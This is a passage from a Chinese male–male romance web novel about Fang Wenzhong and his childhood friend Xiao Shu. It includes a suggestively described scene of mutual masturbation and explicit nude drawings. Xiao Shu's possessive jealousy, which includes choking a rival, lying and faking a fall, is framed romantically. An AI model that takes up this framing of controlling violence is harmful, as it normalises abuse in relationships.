一瞬间行动快过脑子,他已经拎着小包子,快速躲起来,他没抬头,没看到萧疏出来后朝四周随意看了一眼。 听到几个男生的声音已经离开,方闻钟才出来,朝前方看去,一个男生摔着篮球,在萧疏身边叽叽喳喳说着什么。 篮球一下弹上来,被萧疏一把手抓住,再给他弹回去,男生笑着去够萧疏的肩膀。 方闻钟看在眼里,觉得心里突然空落落的,萧疏,还学会了打篮球。 以前他想学,想玩,萧疏说浪费时间,好好学习,他就忍下兴趣,陪他一起看书,“哦,”只是偶尔再羡慕地看看窗外。 直到他十九岁,他也没学会打篮球。 一个男孩子好像都会,很容易滋生友谊的运动。 晚上,萧疏不请自来了,他怀里抱着一颗篮球,球衣上套着外套,刘海有几缕微湿,“我晚上在你这里睡,学校水管坏了,不能洗澡。” “好!”方闻钟怔忡了一下,立马去给他铺床,他换了新床单,转身就看到萧疏洗完澡,穿着无袖T恤,短裤,从浴室出来! 他的腿又长又白,方闻钟觉得小卧室容纳他们两个巨人突然很狭窄。 萧疏坐在他床上,边擦着头发,边和方闻钟说话。 方闻钟断断续续说起今天周末,书店人挺多的事。 萧疏忽然打断他,“不是说好给我送早餐吗?我今早等你没吃饭。” “啊?”方闻钟回头,被萧疏盯着,他迟疑地说:“我以为你在学校就会和朋友们一起吃了嘛,所以就没去。” 他低着头,那颗篮球被他坐在椅子上滚来滚去。 “哦,”萧疏冷淡地说。 “我睡里面。” “行,”萧疏背对着,方闻钟也赶紧去洗漱了,虽然他觉得还不晚,十点,万一萧疏就想早点睡呢。 洗完澡他穿着大裤衩子,方闻钟火气足,只要没在冬天,他一贯睡觉不爱穿那么多衣服,床上两床被子,他出来一看,他的一床被子,已经被萧疏挤得半边快掉下来了。 捡起篮球往架子上一放,萧疏忽然转头,他立马压眉,“方闻钟,穿好衣服。” 方闻钟被他突如其来的呵斥吼得鸡皮疙瘩都出来了,篮球咚咚咚又掉回地上。 滚到萧疏床头那边,萧疏伸手,然后抓起来,一把朝方闻钟扔去,方闻钟狼狈地接过来,萧疏才笑着说:“想玩吗?以后一起啊。” 方闻钟边老老实实套了件短袖,边说:“两个人怎么玩啊,”他嘀咕。 萧疏已经道:“再随便找几个人不就好了?” 萧疏还有其他随便的朋友,方闻钟既有些忌妒,又有些难过,奇怪,他不是应该为他开心的吗? 两人躺在床上,萧疏在玩他的智能机,方闻钟有些无聊。 一会儿,他爬起来,脑袋凑过去伸进萧疏胳膊和脑袋之间,好像被他圈住了,他偏头,“我也看看呗。” 萧疏一下按灭手机,把方闻钟的脖子勒紧。 方闻钟猝不及防很快挣扎起来,萧疏仗着自己手长腿长很快把他全身压制住,方闻钟在他怀里一边气喘吁吁,一边笑着说:“小梳子,你力气好大啊,我怎么挣不过你?” 他白皙的胳膊,肌肉也挺明显,压在他露出来的胸肌腹肌上,方闻钟皮肤本来就和萧疏好几个色差,这下对比着更明显。 萧疏往下看,除了能看到他心跳胸口一起一伏,还能看到他的脸颊,嘴巴,快贴在他身上。 他突然俯身,一下狠狠像要咬方闻钟。 方闻钟一缩,萧疏顿时全部推开他,“我去洗澡了,你热死了,别再来缠着我。” “哦,”床上的方闻钟好半晌,才呆愣愣地回。 小梳子,可真是难懂。 第36章 萧疏:“哥哥,帮帮小梳子。” 因着第二天还是周末,萧疏在店里陪方闻钟一天。 他发现,书店里客流量多了很多,一天算下来,比方闻钟在工地上干的挣得多了,不过还要刨除掉房租之类的,萧疏安下心神,总算让他有个轻松点的挣钱的活干。 连那台平板,都被方闻钟凭藉他的厚脸皮和好态度,卖出去一台。 他还跟他男同学打包票,“坏了就来找哥,哥绝不骗你,包修的。” “嗯,”男生被方闻钟大哥似的抱住肩膀,方闻钟拍着他自己的胸膛,男同学只觉信任度噌噌往上涨,“好,大哥!” 晚上方闻钟把五千块钱,给萧疏,“萧疏,你拿着用吧,我和姥用的还有,这都是你的功劳。” 萧疏没收,“你帮我存着,我要用了再跟你要。” “嗯,那也行,”方闻钟觉得这是他和萧疏亲近,萧疏不跟他客气,就把五千块钱单独存起来了,接下来争取不动。 那本收银台上的武侠小说,萧疏看到被方闻钟翻了半本,他还用一个简易书签夹起来,萧疏笑着,没动他看的页数。 方闻钟身上的悍气一点点变为憨气,他本人毫无所觉。 周三晚上,萧疏打电话,问他,“打篮球,来吗?” 方闻钟被萧疏搞了个什么研究生的学生证,借给他,学生证主人不在,用不着,方闻钟就可以拿着那个想进学校就进学校了。 他顺着萧疏说的地方往体育场走去,过去一看,除了萧疏,果然还有几个他的舍友,还有没见过的朋友。 一朋友见方闻钟这体格,立马来了兴趣,他把球往方闻钟这边一砸,“兄弟,别客气,一起啊,”抬抬下巴,高兴地邀请到。 方闻钟赶紧两手接过球,他这一动作,立马被人看出来他不太会了。 萧疏说:“这是我家那边的一个哥,来这边生活,一起玩玩儿。” 他没多介绍,但熟悉他的人,知道能让萧疏主动带着玩的人,必然跟他关系很不错。 萧疏在学校经营得好,所有人都还以为他是学习好、人品好的学生会主席呢,实际上私下里,没少算计,没少耍心眼勾心斗角,只不过被他算计顶下去的同学意识不到,老师看不出来,还以为他顶顶优秀呢。 还是一张好容貌占了便宜。 这样姿色的一个人,谁会往自私心机深方面想。 球赛很快打起来,方闻钟就是萧疏这边的大破绽,接也接不好,传也传不对,队友撑着膝盖喘着粗气说:“兄弟,白瞎了你的身高和体重了。” 方闻钟也觉得自己蛮丢人,虽然打前都告诉了他很多规则和玩法,可真上手和想像的差太多了,他们玩的,也不像高中见到的那样,随便打打…… 方闻钟流着汗,卷起衣服用下摆擦,不太想去看萧疏那边。 只能听到球咚咚砸在地上,再被萧疏接住,声音一下下,传到他耳边来。 萧疏扯了下嘴角,“放什么屁话呢,”他眼睛一沉,很快如箭矢一样利落地穿过去,再一个漂亮的后仰弹跳,球一下被他砸进篮框! “耶!” “追平了!” 萧疏连进两三个球后,队友激动地大喊,方闻钟也高兴,高兴之余还有点格格不入的感觉。 他不太会,后来没人给他传球,他就跟着跑,视线里一直是萧疏独特的身影,萧疏介绍他为,家那边的一个哥哥,他好像不太满意,但为什么,他说不出来。 是因为这些其他在场的人,才是萧疏现在的朋友,而他只是一个过去吗? 萧疏赢了球,朝方闻钟这边抛过来,方闻钟正愣神呢,没看到球,篮球一下就砸到他头上! “唔,”他痛苦地捂住鼻子。 …… 后来,同学们都先走了,萧疏说带方闻钟去止个鼻血,他再给方闻钟单独培训一段时间,他们再一起玩。 萧疏舍友还挺欢迎方闻钟,“好啊,那我们先走了。” 方闻钟鼻子里塞着一团纸,坐在椅子上。 萧疏在他面前单膝点地,篮球被他用膝盖压在草地上,“刚愣神了?”他问他。 方闻钟:“嗯。” “想什么呢?不好玩?” “不是,萧疏,我不太会,给你们拖后腿了。” “谁都是从不会到会的,我一开始,也不会,比你还手脚不灵活。” “真的吗?”方闻钟睁大眼,有点新奇。 “这有什么假的,”萧疏仰头看他笑,“你又不是不知道,我以前又没怎么运动过。” 那倒也是,方闻钟煞有其事地点着头。 萧疏手指怼了怼方闻钟鼻子,他不疼了,取掉纸,“我先带你玩呗。” 接下来一段时间,方闻钟晚上没事了就去学校,萧疏站在他身后先一点点教他投篮,然后他们两人带球过人,方闻钟以为自己比较壮,肯定能让萧疏后退,可被萧疏逼迫着,他总是容易气馁,球还被抢过去。 萧疏揽上他脖子,“方闻钟,拿出你的气势来,你以前不很爱用身体撞我吗?” 方闻钟记下了,然后,他就把萧疏连球带人撞到地上! 他整个人也没稳住栽他身上! 咚! 萧疏后背狠狠砸在地上,还好他没头着地,但胳膊肘和后腰,肯定是伤得不轻,他好痛!方闻钟刚开始很不好意思,后来突然笑起来。 “萧疏,对不起对不起嘛。” 他找到了熟悉感。 方闻钟扶着萧疏,回租的房子,说什么都要好好照顾萧疏,给他赔个罪。 萧疏的胳膊肘果然破皮了,后腰上一片痕迹! “嘶!”方闻钟看得吓人,伤这么重啊,那不行去医院? 他拿着药水手足无措。 萧疏趴在床上扭头说:“我就是身上爱留痕迹,你又不是不知道,没那么严重,上药吧。” “哦,”方闻钟乖巧点头,顺便心说:还真不知道萧疏身上爱留印。 手掌涂抹了药水,一下贴在萧疏后腰上,他一下一下重重地给萧疏搓,很快他热得满头大汗,萧疏不知是能忍还是怎么的,一直不吭声,直到药上完了,他还光着后背,让方闻钟出去。 “怎么了?干嘛要赶我出去?你要做什么吗?” 萧疏转头,方闻钟才看到他气色有点红,萧疏眼尾有一点湿润,“去做饭!我饿了!” “还不走?我上厕所你也要帮我扶鸟?” “哈哈哈哈哈哈,”方闻钟麻溜地滚了。 能对他讲粗话的萧疏,他可真喜欢,不像高中,他但凡嘴里有一点不太干净,萧疏就会讨厌他。 方闻钟照顾了萧疏好几天,顿顿亲自下厨做好吃的,好是好,可是他能不顿顿大补吗?! 萧疏冤枉了方闻钟,他真没往那方面想,要给萧疏补补,这不去买菜买肉的时候店家送的炖肉药材吗,他就捡贵的拿了。 萧疏吃了三顿某些不可言说的补物,眼见晚上又是羊肉,又是韭菜,他不吭声,憋死的,又不是他一个人。 果然,方闻钟晚上睡觉时也开始躁动不安。 看萧疏老老实实地平躺着,他慢慢翻来覆去,洗了两次凉水澡了,还是觉得心里热得慌。 他偷偷看了萧疏一眼,然后背对着他,夹着被子,手什么时候伸到下面的他都没意识道。 直到听到萧疏闷哼一声,他惊了一大跳!霎时僵硬,不敢动! 许久,慢慢转身,看到萧疏一头热汗,他好像也极不舒服,两个年纪正盛的男子汉,又从未有过那方面的纾解,这一补,可补出问题来了。 很快,萧疏睁眼,看到看他的方闻钟。 方闻钟一下跌躺回去,假装无事发生。 “我要去厕所,”萧疏站起来嗓子哑哑地说。 方闻钟赶紧给他让出位置。 萧疏进卫生间,一直没动静,二十多分钟过去了,人悄无声息,方闻钟躺不住了,他去厕所门口敲门,“萧疏,萧疏?小梳子?” 里面门砰的一下用拳头砸上来!萧疏喝道:“别他妈叫我小梳子!” 他们竟然只有一门之隔,方闻钟吓得不敢动。 可能又过了十几分钟,萧疏一下拉开门,他像个厉鬼一样,身上只穿一条内裤,方闻钟还呆站在门口,好像不等他出来就不睡。 “进来,”萧疏说。 方闻钟的脚步在他大脑做出反应前,已经往前迈了一步。 门关上。 “小梳子,你,我,你不要当着我的面弄啊!” “为什么不要,不是你的错?” “我,我也忍不住了。” “那你也一起啊。” “要我用…帮你吗?” “不,不用。” “可是我好像用,哥哥,帮帮我,小梳子弄不出来。” 萧疏枕在方闻钟肩膀上,任凭他僵硬的身体撑住他,他的手被他扣住,“哥哥,快点啊,要憋死了。” 萧疏咬住了他的脖子,方闻钟浑身一跳,手下自然一重。 还有他自己的东西,顶上了萧疏的腹部。 萧疏手探去,被抓住了,方闻钟直直往后躲,背像虾米一样弓着。 渐入佳境,谁也逃不了。 萧疏一口一个哥哥,明明央求着方闻钟,可是先克制不住弄出来的反而也是方闻钟,他弄脏了萧疏的腹肌。 萧疏嗤嗤笑着,“哥哥好快,不要停。” 当他和方闻钟一样舒服后,他头上已经全是汗,紧贴着方闻钟说:“没关系的,互帮互助很正常的。” 正常吗?方闻钟下意识心里否定,可不知道怎么否定他。 “萧疏,”他求救似的低叫着。 “嗯?”萧疏慵懒地回应,抬头,镜子里是他宽广的后背,是方闻钟隆起的挺翘的肉手伸出去,也只是伸出去。 第37章 吃醋 方闻钟在避着萧疏,萧疏倒是神色无常,坦坦荡荡,显得他很放不开,很像个雏似的。 心里堵着一点气,还好,很快几天这股气就下去了,因为并不是他们天天住在一起,萧疏学校的水管修好了,他回学校住了。 方闻钟突然就有点舍不得。 不过另外一件事马上占据了他的时间,路小远来投奔他,他在家那边待不下去,家里人,邻居熟识,无不对他冷言相对,恶行施加,好像他本性就是个蹲监狱的恶鬼,他们对他的刺激,引得他暴露,那也是路小远活该! 连安安分分找个活干都三天两头被人搅黄。 路小远想出远门,出狱前想回家的念头好像只是一个幻想中幸福的泡沫,他还是一个人在外面飘着好。 联系方闻钟,想让方哥给他介绍个活干,或者在他那边自己找事做也行,能有个熟人,总是好点。 方闻钟就想到了自己之前在工地上干活,路小远没他有力气,不知道能不能吃苦,但是就算干的少点,一天能混口饭吃肯定可以的。 把路小远招来书店,他没想过,他这自己都省吃俭用缩小成本呢。 路小远一听,屁颠屁颠立马来了,搬砖就搬砖,他还挺乐意。 从车站接上人,先来书店,路上方闻钟就说了,萧疏帮他出的主意,他开了家书店,现在正起步呢,路小远惊讶,萧疏就是不一样,想的赚钱的法子都这么有好学生的特质。 “能行吗?”不是他瞧不起方闻钟,而是路小远觉得方闻钟的学历、经历,怎么也不像开书店的啊,卖的还是大学生的考研数据,“哥,你跟那帮学生有话说啊?” 方闻钟不屑,“我又不是跟他们做兄弟的,有什么话说,他们掏钱,我卖书就行了啊,不用我懂,我大概知道就行。” “了不起,”路小远佩服地看他。 方闻钟被拍马屁拍高兴了,想当初他自己还惴惴不安呢。 书店的环境可把路小远羡慕坏了,但很快来来往往的学生进出,他干坐着或站着都有点不自在,想抽根菸,都离远点站门口了,方闻钟把他烟掐了,“别在这败坏我形象。” “哦哦,好,”路小远顿时懂了,听话。 他看着方闻钟忙了一会儿,心底是真喜欢方闻钟有个好哥们,不嫌弃他,这么想法子帮他,第一次见面,他还腹诽萧疏肯定不爱搭理方闻钟呢,没想到是他小人之心了。 请人吃了顿饭,晚上路小远立马很有眼色地帮方闻钟整理书架,爬高爬低也不在话下,路小远刚来,他先把人安顿他家里,等路小远熟点了看是再找房子,还是直接住工地上。 方闻钟猜测他没钱,估计还是会选择工地的简陋帐篷。 他们这些没学历没本事,况且还做过牢的人,在社会上的生活有时候还真不容易,方闻钟想稍微帮他一下。 可能自己一直被萧疏这根浮木托着,他才没感觉到溺水的痛苦吧。 路小远在客厅打地铺,客厅地方小,沙发也不大,整间房子唯一宽敞的就是姥姥的卧室,还带卫生间,方闻钟自己在小卧室睡,给路小远找了件他的干净衣服换洗。 三天后,萧疏来店里,突然看到多了一个小夥,晚上八点多了,他还踩在梯子上,往最上面摆书,他穿着方闻钟的衣服,衣服长到他屁股,甚至拖鞋都是方闻钟的。 女店员不在,方闻钟也不在。 萧疏进来,路小远招呼了声,“你好,同学。” 他转头瞅瞅萧疏,咦,怎么有点眼熟?他看着看着,就看呆了,神经大条的路小远,过了半晌,才感觉到从下往上射过来的那道视线冰冷又刺骨,他在架子上左右摆了摆,“怎么了吗?” “下来!”萧疏厉声道。 “哦,”路小远被吓了一跳,立马往下爬,他想起来了!这个高个帅哥,就是方哥的竹马,萧疏。 “萧……”一个哥字还没喊出来,路小远就被萧疏一手抵在书架上,他被咚地一推,人直接傻了。 萧疏要扒他衣服,“你他妈干什么!”路小远也是混不吝的,脏话立马出来! 萧疏眼神可怕,一手掐住他脖子,“你穿的谁的衣服?” “脱下来!” “还有鞋,我他妈让你脱下来!” 路小远觉得萧疏脑子不正常,怎么一见面就像他和他是多大仇人一样,他脸憋红了,想骂脏话,想告状,方哥,你快来啊! 可是弱点一直被人控制着,萧疏来真的!他他妈的是真的要揍他!路小远赶紧一脚将一只拖鞋踢开,踢到萧疏腿上,另一只被他吓得踢远了点,吧唧,就被踢到了门口,方闻钟刚进来。 萧疏很快松开路小远,路小远在他背后又是翻白眼又是挥拳头。 他红着眼睛,光着脚,“方哥!”刚偏头想说话,萧疏打断了他。 “他什么都不会做你就让他一个人看店?” 方闻钟当然是先回萧疏了,“啊,小远啊,还行啊,就帮我把刚到的书往书架上放一放,那一排,我给他说位置了,我去给我们两个人提饭了,萧疏,你吃了没?” 萧疏直接过去,大马金刀地坐在方闻钟对面,拆开一个塑料盒,一大口米饭直接喂嘴里。 “呃,你也没吃啊?”方闻钟看看萧疏,再看看不知道为什么瞪着眼的路小远。 “不是说给我们两个人提饭了吗?坐下吃啊,”萧疏说。 方闻钟以为他不知道路小远是谁,可能忘了见过一面,就想解释解释,萧疏一把,他手里的木头筷子就被他折断了,萧疏抬头,看方闻钟,“难道你说的两个人不包括我?我是多余的?” 方闻钟这才后知后觉萧疏不对劲,他狗腿道:“当然不是,”赶紧坐下,趁萧疏再低头时,偷偷招呼路小远,给他塞了五十块钱,让他自己出门吃去,现在他要哄萧疏。 “哼!” 路小远过来穿上拖鞋,对萧疏哼了一声,赶紧跑了。 他是寄人篱下,但萧疏他妈的犯病呢?方哥知道他这毛病吗? 他不会有暴力倾向吧,不会是传说中的神经病,动不动就病发吧?路小远咬着一根烤肠,天马行空地想,路过一家卖拖鞋的,他给自己买了一双新的。 花方闻钟的钱。 他的工资还没结下来。 店里,萧疏已经不吃了,他沉默地看着干饭的方闻钟,方闻钟说了一下路小远的身份,“今晚送来了一批书,小远帮我忙呢。” 萧疏说:“所以,你不仅管吃管住,你还给他钱,给他你的衣服穿。” “方闻钟,你把他当什么?” “就是一弟弟啊。” “弟弟,”萧疏翻白眼,“你弟弟可真他妈多。” 被萧疏骂了,方闻钟一口菜没喂嘴里,呆呆地抬头,然后就看到,萧疏一脸厌世,对他好像也格外讨厌,不愿意多说一句话,多给一个眼神。 “我不来了,你和你的好弟弟一起玩儿吧。” 他起身就走了。 “哎!”方闻钟一把从背后抓住他的手,迅速咽了一口气,语速爆发,“萧疏,我说的弟弟不是那个意思,就是个小弟,不,小弟也不是,我们就认识,随手帮个忙。你才是我唯一的弟弟,萧疏,别生气了。” “随手帮忙你把你的衣服给他穿,随手帮忙你让他穿着你的拖鞋,像你的家人一样在你的店里对我耀武扬威,方闻钟,你把我置于何地!你知道吗,我以为这些曾经都是我一个人的权利!”萧疏俯身,攥着他的领子迅速道。 方闻钟只听到了‘我一个人的权利’,萧疏这是在跟路小远争宠呢?没必要啊,萧疏是谁,是任何人加起来都比不上的啊,不过他心里高兴,脸上还没表现出来。 反问:“路小远对你耀武扬威了?” “嗯,”萧疏给路小远泼脏水,“他站架子上装作不认识我,让我出去,他说他才是方哥的弟弟,一看我就不是好人。” 方闻钟好纠结,他眼里百分之九十九的怀疑,被最后百分之一的对萧疏的信任坚守着。 “有什么事我来做,不用他。”萧疏又返回来了。 “哦哦,”方闻钟装傻充愣。 萧疏爬架子上,代替路小远摆没摆完的书,他个子太高,路小远需要站好几节梯子,他踩两个就行,指尖用力往里一搡,然后手掌一并,书齐排排摆好。 路小远刚好又回来了,萧疏站在梯子上转头看他,方闻钟刚回头想跟路小远说话,后面梯子咔咔作响。 一转头,就发现萧疏连人带梯子,好像站不稳,下一秒一下就要摔下来! 方闻钟惊恐,三步并作两步大跨步上去就想伸手接住萧疏! 萧疏趴着摔下来,就这样生硬地摔方闻钟怀里。 没收一点力气,咚!两人摔作一团,摔到地上,方闻钟头顶落下两本书,马上要砸他头上了,被上面的萧疏胳膊挡过去。 路小远看傻了。 你他妈一米九的身高,踩二三十厘米的梯子,也能摔这么大动静?! 路小远还不知道绿茶这个词是什么意思,他就觉得他和方哥的这个好兄弟天生不和! 方哥和他真是好兄弟吗? 萧疏有病!绝对有病! 看着那趴在方闻钟身上,还不忘对他眼神威胁驱逐他的男生,他只想原地放个鞭炮,噼里啪啦炸死那男的! 他又重重哼了一声,直接走了。 方闻钟在地上摔得不轻,萧疏不起来,他也不好强硬地推开他,“萧疏?”试探道:“你没事吧?怎么会摔下来呢?” “我看你看路小远,我也就看他,出神了,而且,这梯子之前恐怕被路小远踩坏了。” 方闻钟:“……哦。” 萧疏头一偏,直接枕他胸膛上,“方闻钟,我听到你的心跳声了,你知道一分钟跳多少下吗?” 方闻钟摇头,“我也数不清,”萧疏说:“我再数数,”他把手直接从衣服下面伸进去,直接抚上了方闻钟的左半边胸前。 方闻钟被他手一冰,他觉得萧疏的手有些微颤抖,他语气也怪怪的,像一点一点慢慢挤出来似的,还要装作正常。 萧疏低头,张嘴,咬上了他自己的手。 方闻钟这个视角只能看到他白皙的脖子,和有一点点红的耳朵。 “我没摔疼,”方闻钟说:“小梳子,起来吧。” 萧疏恶狠狠地掐了一把,方闻钟浑身就是一颤,他,他在做什么? 萧疏已经把手拿出来,“你心跳比正常快,你在想什么,”他恶人先告状。 “真没摔疼吗?”萧疏很快笑嘻嘻道:“是不是因为你皮糙肉厚啊。” 方闻钟还真认真回答他:“因为我屁股先着地。” “哦,”眼见那手还要往他说的地方摸去,方闻钟紧急抓住他,落在自己腰上。 萧疏也不嫌弃,方闻钟的衣服刚好露出来一点,他手就直接触摸在腰上的皮肤,紧紧贴着,好处是没再乱动。 方闻钟坐起来,身上的男生也起来,他头发乱糟糟的,刚被他胡乱抓了一把,“方闻钟,”萧疏突然人靠过来,头碰上他,“哥哥,我真喜……” “大孙子?” 店外突然传来老人的声音。 萧疏一下从方闻钟身上迅速起身,刚才脸上的喜色、真情流露,统统不见,很快,他白着脸,拉链拉上去,面无表情道:“我走了,今晚不住了。” 路过方闻钟姥姥,姥姥定定地看着他,好像想起来他是谁了,好像又没有。 “大孙子,”萧疏离开,姥才慢慢进来,边拍方闻钟的后背边说:“别跟坏人玩,坏人让你摔疼没?” 第38章 撕开给他看 把担心他的姥哄睡下,“没有坏人,他不是坏人。” 姥摸着他的手,机械地点着头。 客厅里,路小远换上了自己的旧衣服,和新买的拖鞋,眼巴巴看方闻钟出来了,赶紧一五一十地告状,说得唾沫乱溅,异常详细,誓要叫方闻钟知道:萧疏不是个好人!萧疏背地里欺负他! 方闻钟有些无语地看着路小远,还真叫萧疏说对了,路小远骂他不是好人了…… “你气他干什么?” “我气他?”路小远难以置信地指着自己,完了好长时间,他明白过来了,方哥早心偏到天边去了,他在这里寻不到公平。 “哼!”路小远今晚一直气呼呼,他脑袋转了好久。 然后凑到方闻钟跟前,“哥,那个萧疏,是不是对你……”他不知道怎么形容,“是不是只有你一个朋友啊?他把你看得太重了吧,就像小学生一样,不让别人接近你,不让你和其他人玩儿。” “我就应急穿你衣服穿你鞋,他就对我又打又骂。” 方闻钟叫停他,“你别乱说了,萧疏怎么可能打骂你,”他在路小远僵直的眼神下起身,暗暗窃喜,“是啊,他只有我一个朋友,”或者说,萧疏现在,只有他一个家人。 那萧疏对他这么在意,有这么强的排他性的占有欲,也是可以理解的嘛。 方闻钟听完路小远的话,反而心里更开心了些。 不过萧疏今晚走得好像有点急,他怎么了吗?方闻钟觉得,小梳子有时候真奇奇怪怪,他也看不出来。 萧疏卷起袖子,胳膊被书一角砸青了,他这副身体是真爱留印。 舍友问他,“怎么了?不是晚上不回来了?” 萧疏撒谎:“我哥哥在忙,我过两天再去找他。” 因为那天碰到了方闻钟姥,萧疏好几天没过去,避着人,方闻钟完全没意识到,反而在路小远搬出去后,给他打电话说:“我做好饭了,你来吃吧,小远不在。” 萧疏:“他是谁?是什么需要我避着的人吗?” 方闻钟:“不是不是,是……是我,想你了,小梳子。” 萧疏抿着唇,还是没忍住笑意,“那我来吧。” 方闻钟:“好!” 路过姥姥时,姥一时还把萧疏认成了方闻钟,拍着他的手臂焦急地喊:“大孙子,大孙子,你怎么瘦了这么多……” 萧疏把系着围裙的方闻钟一把拉过来,挡在他身前,“你大孙子在这里。” 方闻钟呵呵笑着,一边哄姥,一边手伸后面去,让萧疏赶紧去洗手。 吃过饭,方闻钟提起了一件事,萧疏说他研究生的学费一年就要好几万,那上次给他的钱他全用来开书店了,萧疏哪来的钱?他还有用的吗? 方闻钟又想给萧疏塞钱了,店里的盈利除了必要支出,他全单独取出来存着。 “我有,”萧疏垂着眼说:“你不在的时候,我也能自己赚钱,你忘了吗,小时候还是我教你怎么赚钱的呢,只要我有本钱……” 他刚笑说着,抬眼看方闻钟,方闻钟忽然伸手过来在他头上摸了摸,“小梳子,你辛苦了。” “我不在让你受苦了,以后我会陪着你的,你安心上学,学费的事情交给我,好不好?” “陪着我?”萧疏任由他手放在他头顶,“一直陪着我吗?” “当然。” 萧疏忽然说:“那你娶妻生子了怎么办?” “怎么可能!”方闻钟笑着说:“怎么会有姑娘看上我!我还是好好照顾你和姥吧。” “如果是这样的陪着,那也不怎么样,”萧疏神情萎靡。 “啊?”方闻钟。 萧疏随手折了一个书签,又说:“那如果是我娶妻生子呢?” 方闻钟没想过这个问题,萧疏一问,他傻了,那,那是不是就意味着他和萧疏的差距越来越大,萧疏彻底不需要他了。 “那你就好好娶妻生子呗,”他摸着脖子笑,“我肯定为你高兴啊,我,我,”他的结局是什么? 萧疏忽然起身,留下一句:“除非娶你啊……” 他出了小卧室。 什么嘛?本来有点伤心的方闻钟,又被奇奇怪怪的萧疏搞懵了。 萧疏在做一个导师的项目,好几天在实验室或图书馆,方闻钟有次忍不住问:“萧疏,我可以跟你一起去看看吗?我还没去过图书馆呢。” 他现在因为书店的原因,不再排斥书本了,反而看萧疏天天一个人去学校,想到他们高中一起上下学,一起做同桌的样子,既羡慕,又怀念。 萧疏没带方闻钟去实验室或图书馆,他带他去了晚间常去的一间24小时自习室。 方闻钟出门,特意换了件乖巧的衣服,顺手揣了本武侠小说,跟在萧疏屁股后面,一坐下,他就乖乖坐在萧疏右边,不敢说话,等萧疏忙起来了,才忍不住开心地左顾右盼。 这里没人逼他上学,没人要教会他什么知识,方闻钟看着小说,涌出一股很惆怅又很莫名其妙的情绪。 “萧疏,你的笔记本给我一张,我记一下。”他要记一本小说名字,打算之后再去买。 萧疏没有给他撕一张,反而整个本子递给他,“我出去上个厕所。” “嗯嗯你去吧,”方闻钟说。 拿着本子还没写,过道里有经过的学生,几个人一拥挤,方闻钟桌子上的本子就被一同学不小心带到地上了! “同学对不起!”那男生压低声音赶紧给方闻钟道歉,看了方闻钟一眼,还有一瞬间怀疑,这是哪个老师或学长吧,“对不起。” 方闻钟摇摇头,没事,他把本子拿过来,然后再随便翻页的时候,他的手和视线齐齐停在一张后面的白纸上。 萧疏进来了。 方闻钟彻底把那张露出来,仔细看。 如果,没看错的话,这画的应该是他吧? 方闻钟脸迅速红了,哪怕本来皮肤黑,也能看出来羞得不轻,因为萧疏画的是没穿衣服的他。 纯裸的他。 他的身体,上面,下面,每一处都被萧疏精细地描摹过,尤其某些特殊地方,他一点不嫌浪费笔墨,正看着,萧疏过来,撑开手,按在桌子上。 他的手,刚好落在纸上的方闻钟的胸肌上。 萧疏很显冷淡,他克制着音量,“看什么。”侧头问方闻钟。 方闻钟想立马把那张纸合上,却拉不动,萧疏的手不移开,他终于抬头,“小梳子!你!你怎么!” “我怎么画你?”萧疏迅速合上本子,收拾的时候弯腰靠近方闻钟耳朵说:“不要随便乱动别人的东西,方闻钟,你还没长够教训吗?” “可是那是我……”他拧着眉,悄悄给萧疏让开位置,让他进去。 萧疏接下来一句话不愿意跟他说了。 他在看书,不知道看没看进去,好半晌没动过,没翻过页。 方闻钟自然注意不到这些细节,他被那张画冲击的脑子有一瞬间空白。 如果是穿衣服的,他可以告诉自己萧疏画他,想他了,他开心都来不及,可是不穿衣服的,还那么露骨,他就没法简单说服自己。 侧眼打量萧疏时,看到了萧疏随意搁在桌上的手。 那根根骨节分明,细长白皙的手指,突然动了一下,像握住一个什么东西,方闻钟脑子里被一电击! 他忽然就想到了那天晚上,他们补汤喝过量,在卫生间萧疏求着让他帮他,同时,他也用手帮他握住…… …… 他怎么突然想到了这个! 方闻钟鼻翼喘着气,身体僵硬挺着。 那些画面,越来越不对劲!方闻钟想又突然想起,更久一点,他和萧疏在旧书摊上翻过的那本书。 …… 有了经验,他现在明白过来了,那是在干什么,是两个男人在互帮互助。 方闻钟呆傻住,对这一刻自己突然懂这么多,感到既害怕,又有些好奇。 萧疏起身要走,他的东西已经被他收拾进书包里,喊方闻钟的时候,方闻钟突然一手捏住了他的手腕,萧疏以为他还对那个本子执迷不悟,奇怪地笑了一声,干脆把手里的本子直接塞给他。 “可以走了吗?” 方闻钟不在状态地跟在他后面,一直跟到萧疏要往宿舍走了,他还拿着本子沉浸在自己的想法里。 萧疏受不了了,他把方闻钟拉在一棵树下面,隔着几米远的树上,有一盏路灯,显得他们这里,既幽暗,又昏黄。 “你看到了,到底怎么想的?” 萧疏把他手一推,方闻钟就直接靠在树上,“什么?” 他无意识地回应了一句,然后想到萧疏在问什么,他盯着萧疏灼热又冰凉的视线,水深火热,“那你呢,”他反问回去,“你画我的时候在想什么?” “想你。” 萧疏干脆又老实地说道。 “画你的时候当然在想你。” “你……为什么要画不穿衣服的?” “好看,你不觉得吗?” 萧疏手没落在他身上,虚空画着方闻钟身体的轮廓,好像这一刻,萧疏有透视眼似的,方闻钟被他弄得很不自在,他自己也糊里糊涂,就觉得不应该是这样的,可是再怎么样他也讲不清楚。 “你还觉得别人好看吗?”方闻钟随便抓了一个重点。 萧疏眼神收起,“想问什么?想问我是不是还画过别人,没有,只有你,方闻钟。” 萧疏头靠过来,在方闻钟颈边悄悄说,“只有你,哥哥。” 方闻钟一激灵,竟是抖了一下,萧疏手伸过去,把本子从他手里夺过来。 方闻钟不死心地干看着,萧疏直接当着他的面,再往后翻了几页,“胆小鬼,”边翻边说:“你怎么不看看后面还有什么?” 萧疏这一刻像在赌什么一样,他当着方闻钟的面,继续往后翻。 第二页,两个简笔画男生身体。 第三页,一只手落在画中人腿上,手指欲往上伸。 第四页,两个人身体亲密接触某个东西清清楚楚,被他们侍弄着贴在一起。 这些画很传神,很清晰,就是两个男人!只不过身体部分萧疏费了多少笔墨,脸和头他就有多敷衍。 萧疏抬眸,看着僵硬的方闻钟说:“哥哥,你知道这张是在干什么吗?”他指着第二张,嘴里吐出的话语,像穿越时空的恶魔,把方闻钟钉在高三那年的那个夜晚,“其实,我想用手,代替钢笔的。” “不是对你用刑,哥哥,是在亵渎你。” 方闻钟一把推搡过去,萧疏后退了几步才站稳。 本子掉地上了。 他弯腰去捡。 方闻钟一下拍过来!他本意是拍掉本子!可一巴掌打在萧疏侧脸上!! 他想去看看。 萧疏又后退了一步,躲过了,他侧脸红印立马出来,萧疏面无表情,“这就受不了了,哥哥,你知道吗?我想画的两张脸是谁?” “是我,和你。” 